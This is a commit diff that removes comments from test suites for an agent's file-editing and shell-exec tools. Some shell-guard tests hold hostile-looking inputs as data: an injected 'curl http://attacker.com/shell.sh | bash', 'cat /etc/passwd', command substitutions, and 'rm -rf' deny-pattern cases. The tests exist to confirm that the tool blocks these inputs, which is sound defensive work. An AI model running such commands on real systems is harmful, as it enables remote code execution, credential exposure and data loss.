refactor: remove redundant comments and docstrings (#6527)

* refactor: remove redundant comments and docstrings

* fix(signal): annotate async context manager as a generator
This commit is contained in:
chengyongru authored and GitHub committed 2026-10-30 13:07:03 +08:00
1 parent cb3ba45317
commit a4d2430140
922 files changed
+406 -7738

No files matched your search

-1
View File
@@ -462,7 +462,6 @@ def test_apply_patch_edits_rolls_back_when_later_write_fails(tmp_path, monkeypat
written = write_text(path, *args, **kwargs)
if path == second and not failed:
failed = True
# A persistence error can occur after the file has already changed.
raise OSError("injected second write failure")
return written
+1 -64
View File
@@ -1,26 +1,11 @@
"""Tests for advanced EditFileTool enhancements inspired by claude-code:
- Delete-line newline cleanup
- Smart quote normalization (curly ↔ straight)
- Quote style preservation in replacements
- Indentation preservation when fallback match is trimmed
- Trailing whitespace stripping for new_text
- File size protection
- Stale detection with content-equality fallback
"""
import os
import pytest
from nanobot.agent.tools.filesystem import EditFileTool, ReadFileTool
# ---------------------------------------------------------------------------
# Delete-line newline cleanup
# ---------------------------------------------------------------------------
class TestDeleteLineCleanup:
"""When new_text='' and deleting a line, trailing newline should be consumed."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -38,7 +23,6 @@ class TestDeleteLineCleanup:
f.write_bytes(content.replace("\n", newline).encode("utf-8"))
result = await tool.execute(path=str(f), old_text=f"{indent}line2", new_text="")
assert "Patch applied:" in result
# Should not leave a blank line where line2 was
assert f.read_bytes() == f"{prefix}line3\n".replace("\n", newline).encode("utf-8")
@pytest.mark.asyncio
@@ -81,7 +65,6 @@ class TestDeleteLineCleanup:
@pytest.mark.asyncio
async def test_delete_preserves_content_when_not_trailing_newline(self, tool, tmp_path):
"""Deleting a word mid-line should not consume extra characters."""
f = tmp_path / "a.py"
f.write_text("hello world here\n", encoding="utf-8")
result = await tool.execute(path=str(f), old_text="world ", new_text="")
@@ -89,13 +72,7 @@ class TestDeleteLineCleanup:
assert f.read_text() == "hello here\n"
# ---------------------------------------------------------------------------
# Smart quote normalization
# ---------------------------------------------------------------------------
class TestQuoteStylePreservation:
"""When quote-normalized matching occurs, replacement should preserve actual quote style."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -126,13 +103,7 @@ class TestQuoteStylePreservation:
assert f.read_text(encoding="utf-8") == "it’s better\n"
# ---------------------------------------------------------------------------
# Indentation preservation
# ---------------------------------------------------------------------------
class TestIndentationPreservation:
"""Replacement should keep outer indentation when trim fallback matched."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -183,13 +154,7 @@ class TestIndentationPreservation:
compile(f.read_text(encoding="utf-8"), str(f), "exec")
# ---------------------------------------------------------------------------
# Failure diagnostics
# ---------------------------------------------------------------------------
class TestEditDiagnostics:
"""Failure paths should offer actionable hints."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -222,13 +187,7 @@ class TestEditDiagnostics:
assert "letter case differs" in result.lower()
# ---------------------------------------------------------------------------
# Advanced fallback replacement behavior
# ---------------------------------------------------------------------------
class TestAdvancedReplaceAll:
"""replace_all should work correctly for fallback-based matches too."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -277,13 +236,7 @@ class TestAdvancedReplaceAll:
assert f.read_text(encoding="utf-8") == " message = “goodbye”\n"
# ---------------------------------------------------------------------------
# Trailing whitespace stripping on new_text
# ---------------------------------------------------------------------------
class TestTrailingWhitespaceStrip:
"""new_text trailing whitespace should be stripped (except .md files)."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -336,7 +289,6 @@ class TestTrailingWhitespaceStrip:
path=str(f), old_text="old ", new_text="new ", replace_all=True,
)
assert "Patch applied:" in result
# Preserve existing suffix whitespace; only clean the replacement's line endings.
expected = "new value\nnew\nnew \nnew"
assert f.read_bytes() == expected.replace("\n", newline).encode("utf-8")
@@ -350,18 +302,11 @@ class TestTrailingWhitespaceStrip:
)
assert "Patch applied:" in result
content = f.read_text()
# Trailing spaces should be preserved for markdown
assert "Title " in content
assert "Subtitle " in content
# ---------------------------------------------------------------------------
# File size protection
# ---------------------------------------------------------------------------
class TestFileSizeProtection:
"""Editing extremely large files should be rejected."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -381,7 +326,7 @@ class TestFileSizeProtection:
@property
def st_size(self):
return 2 * 1024 * 1024 * 1024 # 2 GiB
return 2 * 1024 * 1024 * 1024
import unittest.mock
with unittest.mock.patch.object(type(f), 'stat', return_value=FakeStat(f.stat())):
@@ -390,13 +335,7 @@ class TestFileSizeProtection:
assert "too large" in result.lower() or "size" in result.lower()
# ---------------------------------------------------------------------------
# Stale detection with content-equality fallback
# ---------------------------------------------------------------------------
class TestStaleDetectionContentFallback:
"""When mtime changed but file content is unchanged, edit should proceed without warning."""
@pytest.fixture()
def read_tool(self, tmp_path):
@@ -412,11 +351,9 @@ class TestStaleDetectionContentFallback:
f.write_text("hello world", encoding="utf-8")
await read_tool.execute(path=str(f))
# Bump mtime without changing content.
stat = f.stat()
os.utime(f, (stat.st_atime, stat.st_mtime + 10))
result = await edit_tool.execute(path=str(f), old_text="world", new_text="earth")
assert "Patch applied:" in result
# Should NOT warn about modification since content is the same
assert "modified" not in result.lower()
-29
View File
@@ -1,6 +1,3 @@
"""Tests for EditFileTool enhancements: read-independent editing, path suggestions,
notebook JSON editing, and create-file semantics."""
import os
import pytest
@@ -9,16 +6,8 @@ from nanobot.agent.tools import file_state
from nanobot.agent.tools.apply_patch import ApplyPatchTool
from nanobot.agent.tools.filesystem import EditFileTool, ReadFileTool
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
# ---------------------------------------------------------------------------
# Read-independent editing
# ---------------------------------------------------------------------------
class TestEditReadTracking:
"""edit_file validates current contents independently of prior reads."""
@pytest.fixture()
def file_states(self):
@@ -57,7 +46,6 @@ class TestEditReadTracking:
f = tmp_path / "a.py"
f.write_text("hello world", encoding="utf-8")
await read_tool.execute(path=str(f))
# External modification
mtime = f.stat().st_mtime
f.write_text("hello universe", encoding="utf-8")
os.utime(f, (mtime + 2, mtime + 2))
@@ -78,12 +66,7 @@ class TestEditReadTracking:
assert f.read_text() == "hello earth"
# ---------------------------------------------------------------------------
# Create-file semantics
# ---------------------------------------------------------------------------
class TestEditCreateFile:
"""edit_file with old_text='' creates new file if not exists."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -103,7 +86,6 @@ class TestEditCreateFile:
f.write_text("existing content", encoding="utf-8")
result = await tool.execute(path=str(f), old_text="", new_text="new content")
assert "Error" in result or "already exists" in result.lower()
# File should be unchanged
assert f.read_text() == "existing content"
@pytest.mark.asyncio
@@ -115,12 +97,7 @@ class TestEditCreateFile:
assert f.read_text() == "print('hi')"
# ---------------------------------------------------------------------------
# .ipynb editing
# ---------------------------------------------------------------------------
class TestEditIpynbFiles:
"""edit_file edits notebooks as normal JSON files."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -139,12 +116,7 @@ class TestEditIpynbFiles:
assert f.read_text(encoding="utf-8") == '{"cells": [{"cell_type": "markdown", "source": "hi"}]}'
# ---------------------------------------------------------------------------
# Path suggestion on not-found
# ---------------------------------------------------------------------------
class TestEditPathSuggestion:
"""edit_file should suggest similar paths on not-found."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -154,7 +126,6 @@ class TestEditPathSuggestion:
async def test_suggests_similar_filename(self, tool, tmp_path):
f = tmp_path / "config.py"
f.write_text("x = 1", encoding="utf-8")
# Typo: conifg.py
result = await tool.execute(
path=str(tmp_path / "conifg.py"), old_text="x = 1", new_text="x = 2",
)
-12
View File
@@ -1,5 +1,3 @@
"""Tests for allow_patterns priority over deny_patterns."""
from __future__ import annotations
import pytest
@@ -8,7 +6,6 @@ from nanobot.agent.tools.shell import ExecTool
def test_deny_patterns_block_rm_rf():
"""Baseline: rm -rf is blocked by default deny list."""
tool = ExecTool()
result = tool._guard_command("rm -rf /tmp/build", "/tmp")
assert result is not None
@@ -96,16 +93,12 @@ def test_allow_patterns_do_not_bypass_rejected_commands(command, reason, allow_p
def test_extra_deny_patterns_from_config():
"""User-supplied deny patterns are appended to built-in list."""
tool = ExecTool(deny_patterns=[r"\bping\b"])
# ping is blocked by extra deny
assert tool._guard_command("ping example.com", "/tmp") is not None
# rm -rf still blocked by built-in deny
assert tool._guard_command("rm -rf /tmp/x", "/tmp") is not None
def test_allow_patterns_bypass_extra_deny():
"""allow_patterns also bypasses user-supplied deny patterns."""
tool = ExecTool(
deny_patterns=[r"\bping\b"],
allow_patterns=[r"\bping\s+example\.com\b"],
@@ -115,25 +108,20 @@ def test_allow_patterns_bypass_extra_deny():
def test_allow_patterns_is_whitelist_only():
"""When allow_patterns is set, non-matching non-denied commands are blocked."""
tool = ExecTool(allow_patterns=[r"echo\s+hello"])
# echo matches allow → ok
assert tool._guard_command("echo hello", "/tmp") is None
# ls does not match allow and is not in deny → blocked by allowlist
result = tool._guard_command("ls /tmp", "/tmp")
assert result is not None
assert "allowlist" in result.lower()
def test_split_shell_segments_keep_line_continuation_intact():
"""A backslash-escaped newline continues one command, not a new segment."""
assert ExecTool._split_shell_segments("echo allowlisted \\\nextra") == [
"echo allowlisted \\\nextra"
]
def test_deny_patterns_search_original_command_with_quoted_hash():
"""Deny checks must still inspect text after a quoted hash."""
tool = ExecTool(deny_patterns=[r"\brm\s+-rf\s+/"])
result = tool._guard_command('echo "#"; rm -rf /', "/tmp")
assert result is not None
+1 -20
View File
@@ -1,5 +1,3 @@
"""Tests for exec tool environment isolation."""
import json
import shlex
import sys
@@ -28,7 +26,6 @@ _UNIX_ONLY = pytest.mark.skipif(sys.platform == "win32", reason="Unix shell comm
"command_mode", [pytest.param("shell", marks=_UNIX_ONLY), "argv"],
)
async def test_exec_child_receives_filtered_env(monkeypatch, allowed_env_keys, expected_allowed, command_mode):
"""A successful child receives allowed values, but not secrets or unset keys."""
monkeypatch.setenv("MY_CUSTOM_VAR", "hello-from-config")
monkeypatch.setenv("NANOBOT_SECRET_TOKEN", "super-secret-value")
monkeypatch.delenv("NONEXISTENT_VAR_12345", raising=False)
@@ -60,7 +57,6 @@ async def test_exec_child_receives_filtered_env(monkeypatch, allowed_env_keys, e
@pytest.mark.asyncio
async def test_exec_has_working_path():
"""Basic commands should be available via the login shell's PATH."""
tool = ExecTool()
result = await tool.execute(command="echo hello", yield_time_ms=10000)
assert "hello" in result
@@ -69,7 +65,6 @@ async def test_exec_has_working_path():
@_UNIX_ONLY
@pytest.mark.asyncio
async def test_exec_path_append():
"""The pathAppend config should be available in the command's PATH."""
tool = ExecTool(path_append="/opt/custom/bin")
result = await tool.execute(command="echo $PATH")
assert "/opt/custom/bin" in result
@@ -78,7 +73,6 @@ async def test_exec_path_append():
@_UNIX_ONLY
@pytest.mark.asyncio
async def test_exec_path_append_preserves_system_path():
"""pathAppend must not clobber standard system paths."""
tool = ExecTool(path_append="/opt/custom/bin")
result = await tool.execute(command="ls /")
assert "Exit code: 0" in result
@@ -87,7 +81,6 @@ async def test_exec_path_append_preserves_system_path():
@_UNIX_ONLY
@pytest.mark.asyncio
async def test_exec_path_prepend_takes_lookup_precedence(tmp_path):
"""pathPrepend should win over pathAppend for executable lookup."""
preferred = tmp_path / "preferred"
fallback = tmp_path / "fallback"
preferred.mkdir()
@@ -106,27 +99,17 @@ async def test_exec_path_prepend_takes_lookup_precedence(tmp_path):
assert "fallback" not in result
# --- path_append injection prevention ------------------------------------
@_UNIX_ONLY
@pytest.mark.asyncio
@pytest.mark.parametrize(
"malicious_path",
[
# semicolon — classic command separator
'/tmp/bin; echo INJECTED',
# command substitution via $()
'/tmp/bin; echo $(whoami)',
# backtick command substitution
"/tmp/bin; echo `id`",
# pipe to another command
'/tmp/bin; cat /etc/passwd',
# chained with &&
'/tmp/bin && curl http://attacker.com/shell.sh | bash',
# newline injection
'/tmp/bin\necho INJECTED',
# mixed shell metacharacters
'/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
],
)
@@ -141,12 +124,10 @@ async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path
tool = ExecTool(path_append=malicious_path)
result = await tool.execute(command="echo SAFE_OUTPUT")
# The original command should succeed
assert "SAFE_OUTPUT" in result
# None of the injected payloads should have produced side-effects
assert "INJECTED" not in result
assert "root:" not in result # /etc/passwd content
assert "root:" not in result
@_UNIX_ONLY
-67
View File
@@ -55,10 +55,6 @@ class _FakeWindowsJob:
pass
# ---------------------------------------------------------------------------
# _build_env
# ---------------------------------------------------------------------------
class TestBuildEnvUnix:
def test_expected_keys(self):
@@ -124,10 +120,6 @@ class TestBuildEnvWindows:
assert env["SYSTEMROOT"] == r"D:\Windows"
# ---------------------------------------------------------------------------
# argument-vector PATH
# ---------------------------------------------------------------------------
class TestArgumentVectorPath:
def test_uses_parent_path_for_executable_lookup(self):
@@ -147,10 +139,6 @@ class TestArgumentVectorPath:
assert "NANOBOT_SECRET_TOKEN" not in prepared.env
# ---------------------------------------------------------------------------
# _spawn
# ---------------------------------------------------------------------------
class TestSpawnUnix:
@pytest.mark.asyncio
@@ -218,7 +206,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_single_line_uses_powershell(self):
"""Single-line commands on Windows now route through PowerShell."""
env = {"COMSPEC": r"C:\Windows\system32\cmd.exe", "PATH": ""}
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
@@ -239,7 +226,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_single_line_passes_cwd_and_env(self):
"""PowerShell should receive cwd and env from the caller."""
env = {"PATH": "/usr/bin"}
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
@@ -276,7 +262,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_explicit_cmd_shell_uses_raw_shell_string(self):
"""Explicit shell='cmd' should preserve raw cmd.exe quoting semantics."""
env = {"COMSPEC": r"C:\Windows\system32\cmd.exe", "PATH": ""}
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
@@ -299,7 +284,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_powershell_preserves_last_native_exit_code(self):
"""PowerShell -Command should forward native process exit codes."""
env = {"PATH": ""}
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
@@ -314,7 +298,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_powershell_configures_utf8_io(self):
"""PowerShell should use UTF-8 for captured output, native input, and redirections."""
env = {"PATH": ""}
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
@@ -333,7 +316,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_powershell_invokes_quoted_windows_executable_path(self):
"""PowerShell needs & before quoted executable paths with arguments."""
env = {"PATH": ""}
command = r'"D:\Program Files\Python\python.exe" -u -c "print(1)"'
with (
@@ -348,7 +330,6 @@ class TestSpawnWindows:
@pytest.mark.asyncio
async def test_powershell_invokes_quoted_windows_executable_without_arguments(self):
"""A quoted executable path is still a command when it has no arguments."""
env = {"PATH": ""}
command = r'"D:\Program Files\Git\cmd\git.exe"'
with (
@@ -384,15 +365,10 @@ class TestSpawnWindows:
assert "pwsh" in args[0].lower()
# ---------------------------------------------------------------------------
# path_append
# ---------------------------------------------------------------------------
class TestPathAppendPlatform:
@pytest.mark.asyncio
async def test_unix_uses_env_var_in_fixed_export(self):
"""On Unix, path_append must not be interpolated into shell source."""
mock_proc = _CompletedProcess(b"ok")
captured_cmd = None
@@ -421,7 +397,6 @@ class TestPathAppendPlatform:
@pytest.mark.asyncio
async def test_unix_path_prepend_uses_env_var_in_fixed_export(self):
"""On Unix, path_prepend must not be interpolated into shell source."""
mock_proc = _CompletedProcess(b"ok")
captured_cmd = None
@@ -480,7 +455,6 @@ class TestPathAppendPlatform:
@pytest.mark.asyncio
async def test_windows_modifies_env(self):
"""On Windows, path_append is appended to PATH in the env dict."""
mock_proc = _CompletedProcess(b"ok")
captured_env = {}
@@ -529,16 +503,11 @@ class TestPathAppendPlatform:
)
# ---------------------------------------------------------------------------
# sandbox
# ---------------------------------------------------------------------------
class TestSandboxPlatform:
@pytest.mark.asyncio
@pytest.mark.parametrize("backend", ["bwrap", "seatbelt"])
async def test_sandbox_skipped_on_windows(self, backend):
"""Configured Unix backends preserve the Windows native fallback."""
mock_proc = _CompletedProcess(b"ok")
with (
@@ -556,7 +525,6 @@ class TestSandboxPlatform:
@pytest.mark.asyncio
@pytest.mark.parametrize("backend", ["bwrap", "seatbelt"])
async def test_sandbox_applied_on_unix(self, backend):
"""On Unix, sandbox wrapping should still happen normally."""
mock_proc = _CompletedProcess(b"sandboxed")
with (
@@ -575,7 +543,6 @@ class TestSandboxPlatform:
@pytest.mark.asyncio
@pytest.mark.parametrize("backend", ["bwrap", "seatbelt"])
async def test_sandbox_receives_configured_bind_roots(self, tmp_path, backend):
"""Configured bind roots should be forwarded to the sandbox wrapper."""
mock_proc = _CompletedProcess(b"sandboxed")
tool_bin = tmp_path / "tool-bin"
tool_cache = tmp_path / "tool-cache"
@@ -603,10 +570,6 @@ class TestSandboxPlatform:
]
# ---------------------------------------------------------------------------
# end-to-end (mocked subprocess, full execute path)
# ---------------------------------------------------------------------------
class TestExecuteEndToEnd:
@pytest.mark.asyncio
@@ -615,7 +578,6 @@ class TestExecuteEndToEnd:
[(None, asyncio.subprocess.DEVNULL), (1000, asyncio.subprocess.PIPE)],
)
async def test_windows_full_path(self, yield_time_ms, stdin):
"""Full execute() flow on Windows: env, spawn, output formatting."""
mock_proc = _CompletedProcess(b"hello world\r\n")
with (
@@ -638,7 +600,6 @@ class TestExecuteEndToEnd:
[(None, asyncio.subprocess.DEVNULL), (1000, asyncio.subprocess.PIPE)],
)
async def test_unix_full_path(self, yield_time_ms, stdin):
"""Full execute() flow on Unix: env, spawn, output formatting."""
mock_proc = _CompletedProcess(b"hello world\n")
with (
@@ -657,7 +618,6 @@ class TestExecuteEndToEnd:
@pytest.mark.asyncio
async def test_execute_defaults_to_non_login_shell(self):
"""The public execute path must not silently request a login shell."""
captured_login = []
async def capture_spawn(
@@ -678,46 +638,35 @@ class TestExecuteEndToEnd:
assert captured_login == [False, True]
# ---------------------------------------------------------------------------
# _extract_absolute_paths - UNC path support
# ---------------------------------------------------------------------------
class TestExtractAbsolutePaths:
"""Tests for Windows UNC path extraction in shell commands."""
def test_windows_drive_path(self):
"""Test extraction of standard Windows drive paths."""
cmd = r"dir C:\Users\Public"
paths = ExecTool._extract_absolute_paths(cmd)
assert r"C:\Users\Public" in paths
def test_windows_drive_path_root(self):
"""Test extraction of Windows drive root paths."""
cmd = r"dir C:\temp"
paths = ExecTool._extract_absolute_paths(cmd)
assert any("C:\\" in p for p in paths)
def test_unc_path_simple(self):
"""Test extraction of simple UNC paths."""
cmd = r"dir \\server\share"
paths = ExecTool._extract_absolute_paths(cmd)
assert r"\\server\share" in paths
def test_unc_path_with_subdirs(self):
"""Test extraction of UNC paths with subdirectories."""
cmd = r"copy \\server\share\folder\file.txt D:\backup"
paths = ExecTool._extract_absolute_paths(cmd)
assert r"\\server\share\folder\file.txt" in paths
assert r"D:\backup" in paths
def test_unc_path_in_quotes(self):
"""Test extraction of UNC paths enclosed in quotes."""
cmd = r'type "\\server\share\docs\readme.txt"'
paths = ExecTool._extract_absolute_paths(cmd)
assert r"\\server\share\docs\readme.txt" in paths
def test_mixed_paths(self):
"""Test extraction of mixed UNC, drive, and POSIX paths."""
cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp'
paths = ExecTool._extract_absolute_paths(cmd)
assert r"\\server\data\file.txt" in paths
@@ -725,24 +674,17 @@ class TestExtractAbsolutePaths:
assert "/tmp" in paths
def test_home_path(self):
"""Test extraction of home directory shortcuts."""
cmd = "cat ~/config.txt"
paths = ExecTool._extract_absolute_paths(cmd)
assert "~/config.txt" in paths
def test_no_paths(self):
"""Test command with no absolute paths."""
cmd = "echo hello"
paths = ExecTool._extract_absolute_paths(cmd)
assert paths == []
# ---------------------------------------------------------------------------
# Windows multi-line command PowerShell fallback
# ---------------------------------------------------------------------------
class TestWindowsMultilineExec:
"""Verify commands on Windows route through PowerShell (now the default)."""
@pytest.mark.asyncio
async def test_multiline_python_uses_powershell(self):
@@ -784,7 +726,6 @@ class TestWindowsMultilineExec:
@pytest.mark.asyncio
async def test_single_line_uses_powershell(self):
"""Single-line commands also route through PowerShell now."""
mock_proc = _CompletedProcess(b"1\n")
with (
@@ -814,16 +755,10 @@ class TestWindowsMultilineExec:
mock_spawn.assert_called_once()
# ---------------------------------------------------------------------------
# _resolve_shell — Windows support
# ---------------------------------------------------------------------------
class TestResolveShellWindows:
"""shell parameter is now accepted on Windows."""
@pytest.mark.asyncio
async def test_shell_powershell_accepted(self):
"""shell='powershell' should resolve and route through PowerShell."""
mock_proc = _CompletedProcess(b"hello\n")
with (
@@ -843,7 +778,6 @@ class TestResolveShellWindows:
@pytest.mark.asyncio
async def test_shell_cmd_accepted(self):
"""shell='cmd' should preserve the command string for cmd.exe parsing."""
mock_proc = _CompletedProcess(b'"a & b"\n')
with (
@@ -862,7 +796,6 @@ class TestResolveShellWindows:
@pytest.mark.asyncio
async def test_shell_bash_rejected_on_windows(self):
"""shell='bash' should still be rejected on Windows."""
with patch("nanobot.agent.tools.shell._IS_WINDOWS", True):
tool = ExecTool()
result = await tool.execute(command="echo hello", shell="bash")
-25
View File
@@ -1,5 +1,3 @@
"""Tests for exec tool internal URL blocking."""
from __future__ import annotations
import socket
@@ -155,7 +153,6 @@ async def test_exec_allows_normal_commands():
@pytest.mark.asyncio
async def test_exec_allows_curl_to_public_url():
"""Commands with public URLs should not be blocked by the internal URL check."""
tool = ExecTool()
with patch("nanobot.security.network.socket.getaddrinfo", _fake_resolve_public):
guard_result = tool._guard_command("curl https://example.com/api", "/tmp")
@@ -164,7 +161,6 @@ async def test_exec_allows_curl_to_public_url():
@pytest.mark.asyncio
async def test_exec_blocks_chained_internal_url():
"""Internal URLs buried in chained commands should still be caught."""
tool = ExecTool(restrict_to_workspace=True)
with patch("nanobot.security.network.socket.getaddrinfo", _fake_resolve_private):
result = await tool.execute(
@@ -216,7 +212,6 @@ def test_exec_blocks_writes_to_history_jsonl(command):
)
def test_exec_allows_reads_of_history_jsonl(command):
"""Read-only access to history.jsonl must still be allowed."""
tool = ExecTool()
result = tool._guard_command(command, "/tmp")
assert result is None
@@ -227,7 +222,6 @@ def test_exec_allows_reads_of_history_jsonl(command):
@pytest.mark.asyncio
async def test_exec_blocks_working_dir_outside_workspace(tmp_path):
"""An LLM-supplied working_dir outside the workspace must be rejected."""
workspace = tmp_path / "workspace"
workspace.mkdir()
tool = ExecTool(working_dir=str(workspace), restrict_to_workspace=True)
@@ -237,7 +231,6 @@ async def test_exec_blocks_working_dir_outside_workspace(tmp_path):
@pytest.mark.asyncio
async def test_exec_blocks_relative_working_dir_outside_workspace(tmp_path):
"""A relative working_dir that escapes the workspace must be rejected."""
workspace = tmp_path / "workspace"
outside = tmp_path / "outside"
workspace.mkdir()
@@ -278,7 +271,6 @@ async def test_exec_blocks_absolute_rm_via_hijacked_working_dir(tmp_path):
@pytest.mark.asyncio
async def test_exec_allows_working_dir_within_workspace(tmp_path):
"""A working_dir that is a subdirectory of the workspace is fine."""
workspace = tmp_path / "workspace"
subdir = workspace / "project"
subdir.mkdir(parents=True)
@@ -290,7 +282,6 @@ async def test_exec_allows_working_dir_within_workspace(tmp_path):
@pytest.mark.asyncio
async def test_exec_allows_working_dir_equal_to_workspace(tmp_path):
"""Passing working_dir equal to the workspace root must be allowed."""
workspace = tmp_path / "workspace"
workspace.mkdir()
tool = ExecTool(working_dir=str(workspace), restrict_to_workspace=True, timeout=5)
@@ -301,7 +292,6 @@ async def test_exec_allows_working_dir_equal_to_workspace(tmp_path):
@pytest.mark.asyncio
async def test_exec_ignores_workspace_check_when_not_restricted(tmp_path):
"""Without restrict_to_workspace, the LLM may still choose any working_dir."""
workspace = tmp_path / "workspace"
workspace.mkdir()
other = tmp_path / "other"
@@ -320,15 +310,12 @@ async def test_exec_ignores_workspace_check_when_not_restricted(tmp_path):
[
# The exact command from the #3599 reporter.
'rm test_print.txt 2>/dev/null; echo "done"',
# Plain redirect of stdout / stderr.
"find . -type f >/dev/null",
"noisy_cmd 2>/dev/null",
"noisy_cmd >/dev/null 2>&1",
# Read from /dev/urandom is also a benign device read.
"head -c 16 /dev/urandom | xxd",
"echo done >/dev/stderr",
"echo line </dev/stdin",
# Per-process FD aliases never escape the workspace.
"cat /dev/fd/3",
],
)
@@ -473,9 +460,6 @@ def test_exec_sandbox_bind_parent_does_not_widen_workspace_guard(tmp_path, monke
assert "path outside working dir" in blocked
# --- format command blocking -----------------------------------------------
@pytest.mark.parametrize(
"command",
[
@@ -490,7 +474,6 @@ def test_exec_sandbox_bind_parent_does_not_widen_workspace_guard(tmp_path, monke
)
def test_exec_blocks_format_command(command):
"""The Windows ``format`` disk command must be denied."""
tool = ExecTool()
result = tool._guard_command(command, "/tmp")
assert result is not None
@@ -500,25 +483,19 @@ def test_exec_blocks_format_command(command):
@pytest.mark.parametrize(
"command",
[
# URL parameter &format= must NOT be blocked (regression).
'curl -s "wttr.in/xxx?lang=zh&format=%l:+%c+%t+%h+%w&1"',
'curl -s "wttr.in/xxx?format=%l:+%c+%t+%h+%w&1"',
# format as a non-command word in a normal argument.
"echo format",
"echo reformat",
],
)
def test_exec_allows_format_in_url_and_args(command):
"""``format`` inside URL parameters or as a non-command arg must be allowed."""
tool = ExecTool()
result = tool._guard_command(command, "/tmp")
assert result is None
# --- workspace_root allows paths inside workspace but outside cwd ----------
def test_exec_allows_workspace_paths_from_subdirectory(tmp_path):
"""Absolute paths inside the workspace root must be allowed even when cwd
is a subdirectory. This is the scenario reported in the issue: git
@@ -532,8 +509,6 @@ def test_exec_allows_workspace_paths_from_subdirectory(tmp_path):
tool = ExecTool(working_dir=str(workspace), restrict_to_workspace=True)
# A command run from the subdirectory that references a sibling path
# inside the workspace should be allowed.
result = tool._guard_command(
f"git clone {sibling}",
str(subdir),
-1
View File
@@ -76,7 +76,6 @@ async def test_exec_session_completed_before_deadline_keeps_output_for_late_poll
)
sid = _session_id(initial)
await asyncio.wait_for(manager._sessions[sid].process.wait(), timeout=3)
# Read only after the original deadline: completion must not turn into a timeout.
await asyncio.sleep(1.1)
final = await session_tool.execute(session_id=sid, timeout_ms=0)
-3
View File
@@ -234,7 +234,6 @@ def test_exec_session_yield_returns_when_process_finishes_early(tmp_path):
if pending.done():
pytest.fail(f"child exited before readiness: {await pending}")
await asyncio.sleep(0.01)
# Measure responsiveness only after the actual child is ready to exit.
release.touch()
return await asyncio.wait_for(pending, timeout=3)
finally:
@@ -727,7 +726,6 @@ def test_exec_session_wait_for_reports_timeout_without_killing_session(tmp_path)
initial = await exec_tool.execute(command=command, yield_time_ms=0)
sid = _session_id(initial)
# Synchronize on an stdin-gated marker before exercising the immediate timeout below.
ready = await stdin_tool.execute(
session_id=sid,
input="\n",
@@ -1157,7 +1155,6 @@ def test_terminate_by_owner_skips_sessions_without_owner_key(tmp_path):
manager = ExecSessionManager()
tool = ExecTool(working_dir=str(tmp_path), timeout=30, session_manager=manager)
# Spawn without owner (no request context)
initial = await tool.execute(
command=_waiting_shell_command("ready"),
yield_time_ms=100,
+1 -26
View File
@@ -1,5 +1,3 @@
"""Tests for enhanced filesystem tools: ReadFileTool, EditFileTool, ListDirTool."""
import pytest
from nanobot.agent.tools.file_state import file_read_context
@@ -32,9 +30,6 @@ async def test_file_creation_preserves_provided_newlines(tmp_path, newline, oper
assert "Error" not in result
assert target.read_bytes() == content.encode("utf-8")
# ---------------------------------------------------------------------------
# ReadFileTool
# ---------------------------------------------------------------------------
class TestReadFileTool:
@@ -113,12 +108,10 @@ class TestReadFileTool:
@pytest.mark.asyncio
async def test_char_budget_trims(self, tool, tmp_path):
"""When the selected slice exceeds _MAX_CHARS the output is trimmed."""
f = tmp_path / "big.txt"
# Each line is ~110 chars, 2000 lines ≈ 220 KB > 128 KB limit
f.write_text("\n".join("x" * 110 for _ in range(2000)), encoding="utf-8")
result = await tool.execute(path=str(f))
assert len(result) <= ReadFileTool._MAX_CHARS + 500 # small margin for footer
assert len(result) <= ReadFileTool._MAX_CHARS + 500
assert "Use offset=" in result
@pytest.mark.asyncio
@@ -200,10 +193,6 @@ class TestReadFileTool:
assert "Maximum is 100 MiB" in result
# ---------------------------------------------------------------------------
# EditFileTool
# ---------------------------------------------------------------------------
class TestEditFileTool:
@pytest.fixture()
@@ -238,7 +227,6 @@ class TestEditFileTool:
assert "Patch applied:" in result
raw = f.read_bytes()
assert b"LINE1" in raw
# CRLF line endings should be preserved throughout the file
assert b"\r\n" in raw
@pytest.mark.asyncio
@@ -284,10 +272,6 @@ class TestEditFileTool:
assert result == "Error editing file: Unknown new_text"
# ---------------------------------------------------------------------------
# ListDirTool
# ---------------------------------------------------------------------------
class TestListDirTool:
@pytest.fixture()
@@ -311,19 +295,16 @@ class TestListDirTool:
result = await tool.execute(path=str(populated_dir))
assert "README.md" in result
assert "src" in result
# .git and node_modules should be ignored
assert ".git" not in result
assert "node_modules" not in result
@pytest.mark.asyncio
async def test_recursive(self, tool, populated_dir):
result = await tool.execute(path=str(populated_dir), recursive=True)
# Normalize path separators for cross-platform compatibility
normalized = result.replace("\\", "/")
assert "src/main.py" in normalized
assert "src/utils.py" in normalized
assert "README.md" in result
# Ignored dirs should not appear
assert ".git" not in result
assert "node_modules" not in result
@@ -372,10 +353,6 @@ class TestListDirTool:
assert result == "Error listing directory: Unknown path"
# ---------------------------------------------------------------------------
# Workspace restriction + extra read/write allowed dirs
# ---------------------------------------------------------------------------
class TestWorkspaceRestriction:
@pytest.mark.asyncio
@@ -519,7 +496,6 @@ class TestWorkspaceRestriction:
@pytest.mark.asyncio
